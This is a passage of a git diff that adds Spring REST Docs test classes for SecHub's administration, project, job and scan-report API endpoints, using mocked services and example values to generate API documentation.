+@AutoConfigureRestDocs(uriScheme = "https", uriHost = ExampleConstants.URI_SECHUB_SERVER, uriPort = 443) +public class AnonymousUserRequestsNewApiTokenRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private AnonymousUserRequestsNewApiTokenService newApiTokenService; + + @Test + @UseCaseRestDoc(useCase = UseCaseUserRequestsNewApiToken.class) + public void calling_with_api_1_0_and_valid_userid_and_email_returns_HTTP_200() throws Exception { + /* prepare */ + + /* execute */ + /* @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAnonymousRequestNewApiToken(EMAIL_ADDRESS.pathElement()),"emailAdress@test.com"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()).andDo( + document(RestDocPathFactory.createPath(UseCaseUserRequestsNewApiToken.class), + pathParameters( + parameterWithName(EMAIL_ADDRESS.paramName()).description("Email address for user where api token shall be refreshed.") + ) + ) + ); + + /* @formatter:on */ + } + + @TestConfiguration + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/DownloadsFullScanDataForJobRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/DownloadsFullScanDataForJobRestDocTest.java new file mode 100644 index 0000000000..7db60bc525 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/DownloadsFullScanDataForJobRestDocTest.java @@ -0,0 +1,103 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.project.ProjectAdministrationRestController; +import com.daimler.sechub.domain.scan.admin.FullScanData; +import com.daimler.sechub.domain.scan.admin.FullScanDataRestController; +import com.daimler.sechub.domain.scan.admin.FullScanDataService; +import com.daimler.sechub.domain.scan.admin.ScanData; +import com.daimler.sechub.domain.scan.log.ProjectScanLog; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.logging.AuditLogService; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorDownloadsFullScanDataForJob; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; +@RunWith(SpringRunner.class) +@WebMvcTest(ProjectAdministrationRestController.class) +@ContextConfiguration(classes = { FullScanDataRestController.class, + DownloadsFullScanDataForJobRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class DownloadsFullScanDataForJobRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + FullScanDataService fullScanDataService; + + @MockBean + AuditLogService auditLogService; + + private UUID sechubJobUUID; + + @Before + public void before() { + sechubJobUUID = UUID.randomUUID(); + FullScanData data = new FullScanData(); + ScanData d = new ScanData(); + d.productId="productX"; + d.result="{ 'result':'OK'}"; + data.allScanData.add(d); + + String config="{}"; + ProjectScanLog log =new ProjectScanLog("theProject", sechubJobUUID, "spartakus", config); + data.allScanLogs.add(log); + + when(fullScanDataService.getFullScanData(sechubJobUUID)).thenReturn(data); + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorDownloadsFullScanDataForJob.class) + public void restdoc_admin_downloads_fullscan_data_for_job() throws Exception { + + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminDownloadsZipFileContainingFullScanDataFor(sechubJobUUID)). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorDownloadsFullScanDataForJob.class))); + + /* @formatter:on */ + } + + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/JobAdministrationRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/JobAdministrationRestControllerRestDocTest.java new file mode 100644 index 0000000000..9614d6295e --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/JobAdministrationRestControllerRestDocTest.java @@ -0,0 +1,120 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.payload.PayloadDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.time.LocalDateTime; +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.job.JobAdministrationRestController; +import com.daimler.sechub.domain.administration.job.JobInformation; +import com.daimler.sechub.domain.administration.job.JobInformationListService; +import com.daimler.sechub.domain.administration.job.JobStatus; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.job.UseCaseAdministratorListsAllRunningJobs; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(JobAdministrationRestController.class) +@ContextConfiguration(classes = { JobAdministrationRestController.class, + JobAdministrationRestControllerRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class JobAdministrationRestControllerRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + JobInformationListService jobListService; + + @Before + public void before() { + List list = new ArrayList<>(); + JobInformation info = new JobInformation(); + info.setJobUUID(UUID.randomUUID()); + info.setStatus(JobStatus.RUNNING); + info.setProjectId("project-name"); + info.setConfiguration("{ config data }"); + info.setOwner("owner-userid"); + info.setSince(LocalDateTime.now()); + + list.add(info); + + when(jobListService.fetchRunningJobs()).thenReturn(list); + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorListsAllRunningJobs.class) + public void restdoc_list_all_running_jobs() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminFetchAllRunningJobsUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./* + andDo(print()). + */ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorListsAllRunningJobs.class), +// requestFields( +// fieldWithPath(ProjectJsonInput.PROPERTY_API_VERSION).description("The api version, currently only 1.0 is supported"), +// fieldWithPath(ProjectJsonInput.PROPERTY_WHITELIST+"."+ProjectWhiteList.PROPERTY_URIS).description("All URIS used now for whitelisting. Former parts will be replaced completely!"), +// fieldWithPath(ProjectJsonInput.PROPERTY_NAME).description("Name of the project to create. Is also used as a unique ID!") +// ) +// , + responseFields( + fieldWithPath(inArray(JobInformation.PROPERTY_JOB_UUID)).description("The uuid of the running job"), + fieldWithPath(inArray(JobInformation.PROPERTY_PROJECT_ID)).description("The name of the project the job is running for"), + fieldWithPath(inArray(JobInformation.PROPERTY_OWNER)).description("Owner of the job - means user which triggered it"), + fieldWithPath(inArray(JobInformation.PROPERTY_STATUS)).description("A status information "), + fieldWithPath(inArray(JobInformation.PROPERTY_SINCE)).description("Timestamp since when job has been started"), + fieldWithPath(inArray(JobInformation.PROPERTY_CONFIGURATION)).description("Configuration used for this job") + ) + ) + + ); + + /* @formatter:on */ + } + + // see https://docs.spring.io/spring-restdocs/docs/current/reference/html5/#documenting-your-api-request-response-payloads-fields-json + private static String inArray(String field) { + return "[]."+field; + } + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ProjectAdministrationRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ProjectAdministrationRestControllerRestDocTest.java new file mode 100644 index 0000000000..430222736e --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ProjectAdministrationRestControllerRestDocTest.java @@ -0,0 +1,261 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.payload.PayloadDocumentation.*; +import static org.springframework.restdocs.request.RequestDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.net.URI; +import java.util.LinkedHashSet; +import java.util.Set; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.project.CreateProjectInputValidator; +import com.daimler.sechub.domain.administration.project.Project; +import com.daimler.sechub.domain.administration.project.ProjectAdministrationRestController; +import com.daimler.sechub.domain.administration.project.ProjectAssignUserService; +import com.daimler.sechub.domain.administration.project.ProjectCreationService; +import com.daimler.sechub.domain.administration.project.ProjectDeleteService; +import com.daimler.sechub.domain.administration.project.ProjectDetailInformation; +import com.daimler.sechub.domain.administration.project.ProjectDetailInformationService; +import com.daimler.sechub.domain.administration.project.ProjectJsonInput; +import com.daimler.sechub.domain.administration.project.ProjectJsonInput.ProjectWhiteList; +import com.daimler.sechub.domain.administration.project.ProjectRepository; +import com.daimler.sechub.domain.administration.project.ProjectUnassignUserService; +import com.daimler.sechub.domain.administration.project.ProjectUpdateWhitelistService; +import com.daimler.sechub.domain.administration.user.User; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorCreatesProject; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorDeleteProject; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorListsAllProjects; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseAdministratorShowsProjectDetails; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorAssignsUserToProject; +import com.daimler.sechub.sharedkernel.usecases.admin.user.UseCaseAdministratorUnassignsUserFromProject; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(ProjectAdministrationRestController.class) +@ContextConfiguration(classes = { ProjectAdministrationRestController.class, + ProjectAdministrationRestControllerRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class ProjectAdministrationRestControllerRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + ProjectUpdateWhitelistService mockedProjectUpdateWhiteListService; + + @MockBean + ProjectCreationService creationService; + + @MockBean + ProjectAssignUserService assignUserService; + + @MockBean + ProjectDeleteService projectDeleteService; + + @MockBean + ProjectUnassignUserService unassignUserService; + + @MockBean + ProjectDetailInformationService detailService; + + @MockBean + ProjectRepository mockedProjectRepository; + + @MockBean + CreateProjectInputValidator createProjectInputvalidator; + + @Before + public void before() { + when(createProjectInputvalidator.supports(ProjectJsonInput.class)).thenReturn(true); + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorCreatesProject.class) + public void restdoc_create_project() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminCreatesProjectUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"apiVersion\":\"1.0\", \"name\":\"projectId\", \"whiteList\":{\"uris\":[\"192.168.1.1\",\"https://my.special.server.com/myapp1/\"]}}") + )./*andDo(print()).*/ + andExpect(status().isCreated()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorCreatesProject.class), + requestFields( + fieldWithPath(ProjectJsonInput.PROPERTY_API_VERSION).description("The api version, currently only 1.0 is supported"), + fieldWithPath(ProjectJsonInput.PROPERTY_WHITELIST+"."+ProjectWhiteList.PROPERTY_URIS).description("All URIS used now for whitelisting. Former parts will be replaced completely!"), + fieldWithPath(ProjectJsonInput.PROPERTY_NAME).description("Name of the project to create. Is also used as a unique ID!") + ) + + ) + + ); + + /* @formatter:on */ + } + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorListsAllProjects.class) + public void restdoc_list_all_projects() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminListsProjectsUrl()). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE)). + /*andDo(print()).*/ + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorListsAllProjects.class))). + andExpect(status().isOk() + ); + + /* @formatter:on */ + } + + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorDeleteProject.class) + public void restdoc_delete_project() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + delete(https(PORT_USED).buildAdminDeletesProject(PROJECT_ID.pathElement()),"projectId1"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorDeleteProject.class), + pathParameters( + parameterWithName(PROJECT_ID.paramName()).description("The id for project to delete") + ) + )); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorAssignsUserToProject.class) + public void restdoc_assign_user2project() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildAdminAssignsUserToProjectUrl(USER_ID.pathElement(),PROJECT_ID.pathElement()),"userId1", "projectId1"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isCreated()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorAssignsUserToProject.class), + pathParameters( + parameterWithName(PROJECT_ID.paramName()).description("The id for project"), + parameterWithName(USER_ID.paramName()).description("The user id of the user to assign to project") + ) + )); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorUnassignsUserFromProject.class) + public void restdoc_unassign_userFromProject() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + delete(https(PORT_USED).buildAdminUnassignsUserFromProjectUrl(USER_ID.pathElement(),PROJECT_ID.pathElement()),"userId1", "projectId1"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorUnassignsUserFromProject.class), + pathParameters( + parameterWithName(PROJECT_ID.paramName()).description("The id for project"), + parameterWithName(USER_ID.paramName()).description("The user id of the user to unassign from project") + ) + )); + + /* @formatter:on */ + } + + @Test + @UseCaseRestDoc(useCase=UseCaseAdministratorShowsProjectDetails.class) + public void restdoc_show_project_details() throws Exception { + /* prepare */ + Project project = mock(Project.class); + when(project.getId()).thenReturn("projectId1"); + + Set users = new LinkedHashSet<>(); + User user1 = mock(User.class); + when(user1.getName()).thenReturn("name1"); + + User user2 = mock(User.class); + when(user2.getName()).thenReturn("name2"); + + users.add(user1); + users.add(user2); + + when(project.getUsers()).thenReturn(users); + when(project.getOwner()).thenReturn(user1); + Set whiteList = new LinkedHashSet<>(); + whiteList.add(new URI("http://www.sechub.example.org")); + when(project.getWhiteList()).thenReturn(whiteList); + ProjectDetailInformation detailInformation = new ProjectDetailInformation(project); + + when(detailService.fetchDetails("projectId1")).thenReturn(detailInformation); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildAdminShowsProjectDetailsUrl(PROJECT_ID.pathElement()),"projectId1"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE) + )./* + */ + andDo(print()). + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseAdministratorShowsProjectDetails.class), + pathParameters( + parameterWithName(PROJECT_ID.paramName()).description("The id for project to show details for") + ), + responseFields( + fieldWithPath(ProjectDetailInformation.PROPERTY_PROJECT_ID).description("The name of the project"), + fieldWithPath(ProjectDetailInformation.PROPERTY_USERS).description("A list of all users having access to the project"), + fieldWithPath(ProjectDetailInformation.PROPERTY_OWNER).description("Username of the owner ofthis project. An owner is the person in charge."), + fieldWithPath(ProjectDetailInformation.PROPERTY_WHITELIST).description("A list of all whitelisted URIs. Only these ones can be scanned for the project!") + ) + ) + ); + + /* @formatter:on */ + } + + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ProjectUpdateAdministrationRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ProjectUpdateAdministrationRestControllerRestDocTest.java new file mode 100644 index 0000000000..263872d9de --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ProjectUpdateAdministrationRestControllerRestDocTest.java @@ -0,0 +1,105 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; + +import static com.daimler.sechub.test.TestURLBuilder.*; +import static com.daimler.sechub.test.TestURLBuilder.RestDocPathParameter.*; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.restdocs.mockmvc.RestDocumentationRequestBuilders.*; +import static org.springframework.restdocs.payload.PayloadDocumentation.*; +import static org.springframework.restdocs.request.RequestDocumentation.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Profile; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ActiveProfiles; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.administration.project.ProjectJsonInput; +import com.daimler.sechub.domain.administration.project.ProjectJsonInput.ProjectWhiteList; +import com.daimler.sechub.domain.administration.project.ProjectRepository; +import com.daimler.sechub.domain.administration.project.ProjectUpdateAdministrationRestController; +import com.daimler.sechub.domain.administration.project.ProjectUpdateWhitelistService; +import com.daimler.sechub.domain.administration.project.UpdateProjectInputValidator; +import com.daimler.sechub.sharedkernel.Profiles; +import com.daimler.sechub.sharedkernel.RoleConstants; +import com.daimler.sechub.sharedkernel.configuration.AbstractAllowSecHubAPISecurityConfiguration; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.admin.project.UseCaseUpdateProjectWhitelist; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(ProjectUpdateAdministrationRestController.class) +@ContextConfiguration(classes = { ProjectUpdateAdministrationRestController.class, + ProjectUpdateAdministrationRestControllerRestDocTest.SimpleTestConfiguration.class }) +@WithMockUser(authorities = RoleConstants.ROLE_SUPERADMIN) +@ActiveProfiles(Profiles.TEST) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class ProjectUpdateAdministrationRestControllerRestDocTest { + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + ProjectUpdateWhitelistService mockedProjectUpdateWhiteListService; + + @MockBean + UpdateProjectInputValidator mockedValidator; + + @MockBean + ProjectRepository mockedProjectRepository; + + @Before + public void before() { + when(mockedValidator.supports(ProjectJsonInput.class)).thenReturn(true); + } + + @Test + @UseCaseRestDoc(useCase=UseCaseUpdateProjectWhitelist.class) + public void restdoc_update_white_list_for_project() throws Exception { + + /* execute + test @formatter:off */ + this.mockMvc.perform( + post(https(PORT_USED).buildUpdateProjectWhiteListUrl(PROJECT_ID.pathElement()),"projectId1"). + contentType(MediaType.APPLICATION_JSON_UTF8_VALUE). + content("{\"apiVersion\":\"1.0\", \"whiteList\":{\"uris\":[\"192.168.1.1\",\"https://my.special.server.com/myapp1/\"]}}") + )./*andDo(print()).*/ + andExpect(status().isOk()). + andDo(document(RestDocPathFactory.createPath(UseCaseUpdateProjectWhitelist.class), + pathParameters( + parameterWithName(PROJECT_ID.paramName()).description("The id of the project for which whitelist shall be updated") + ), + requestFields( + fieldWithPath(ProjectJsonInput.PROPERTY_API_VERSION).description("The api version, currently only 1.0 is supported"), + fieldWithPath(ProjectJsonInput.PROPERTY_WHITELIST+"."+ProjectWhiteList.PROPERTY_URIS).description("All URIS used now for whitelisting. Former parts will be replaced completely!") + ) + + ) + + ); + + /* @formatter:on */ + } + + @Profile(Profiles.TEST) + @EnableAutoConfiguration + public static class SimpleTestConfiguration extends AbstractAllowSecHubAPISecurityConfiguration { + + } + +} diff --git a/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ScanReportRestControllerRestDocTest.java b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ScanReportRestControllerRestDocTest.java new file mode 100644 index 0000000000..24f8f84db4 --- /dev/null +++ b/sechub-doc/src/test/java/com/daimler/sechub/restdoc/ScanReportRestControllerRestDocTest.java @@ -0,0 +1,163 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.restdoc; +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.hamcrest.CoreMatchers.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.*; +import static org.springframework.restdocs.mockmvc.MockMvcRestDocumentation.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.restdocs.AutoConfigureRestDocs; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.docgen.util.RestDocPathFactory; +import com.daimler.sechub.domain.scan.HTMLScanResultReportModelBuilder; +import com.daimler.sechub.domain.scan.SecHubResultService; +import com.daimler.sechub.domain.scan.product.ReportProductExecutionService; +import com.daimler.sechub.domain.scan.report.CreateScanReportService; +import com.daimler.sechub.domain.scan.report.DownloadScanReportService; +import com.daimler.sechub.domain.scan.report.ScanReport; +import com.daimler.sechub.domain.scan.report.ScanReportRepository; +import com.daimler.sechub.domain.scan.report.ScanReportRestController; +import com.daimler.sechub.domain.scan.report.ScanReportResult; +import com.daimler.sechub.domain.scan.report.ScanReportTrafficLightCalculator; +import com.daimler.sechub.sharedkernel.type.TrafficLight; +import com.daimler.sechub.sharedkernel.usecases.UseCaseRestDoc; +import com.daimler.sechub.sharedkernel.usecases.user.execute.UseCaseUserDownloadsJobReport; +import com.daimler.sechub.test.ExampleConstants; +import com.daimler.sechub.test.TestPortProvider; + +@RunWith(SpringRunner.class) +@WebMvcTest(ScanReportRestController.class) +@ContextConfiguration(classes= {ScanReportRestController.class, ScanReportRestControllerRestDocTest.SimpleTestConfiguration.class}) +@AutoConfigureRestDocs(uriScheme="https",uriHost=ExampleConstants.URI_SECHUB_SERVER,uriPort=443) +public class ScanReportRestControllerRestDocTest { + + private static final String PROJECT1_ID = "project1"; + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getRestDocTestPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private CreateScanReportService mockedReportService; + + @MockBean + private DownloadScanReportService downloadReportService; + + @MockBean + SecHubResultService secHubResultService; + + @MockBean + ReportProductExecutionService reportProductExecutionService; + + @MockBean + ScanReportTrafficLightCalculator trafficLightCalculator; + + @MockBean + ScanReportRepository reportRepository; + + @MockBean + HTMLScanResultReportModelBuilder modelBuilder; + + + private UUID randomUUID; + + @UseCaseRestDoc(useCase=UseCaseUserDownloadsJobReport.class,variant="JSON") + @Test + @WithMockUser + public void get_report_from_existing_job_returns_information_as_json_when_type_is_APPLICATION_JSON_UTF8() throws Exception { + /* prepare */ + ScanReport report = new ScanReport(randomUUID,PROJECT1_ID); + report.setResult("{'count':'1'}"); + report.setTrafficLight(TrafficLight.YELLOW); + + ScanReportResult result1 = new ScanReportResult(report); + when(downloadReportService.getScanReportResult(PROJECT1_ID, randomUUID)).thenReturn(result1); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildGetJobReportUrl(PROJECT1_ID,randomUUID)).accept(MediaType.APPLICATION_JSON_UTF8). + contentType(MediaType.APPLICATION_JSON_UTF8) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("{\"jobUUID\":\""+randomUUID.toString()+"\",\"result\":{\"count\":1,\"findings\":[]},\"trafficLight\":\"YELLOW\"}")). + + andDo(document(RestDocPathFactory.createPath(UseCaseUserDownloadsJobReport.class, "JSON")) + + ); + + /* @formatter:on */ + } + + @UseCaseRestDoc(useCase=UseCaseUserDownloadsJobReport.class,variant="HTML") + @Test + @WithMockUser + public void 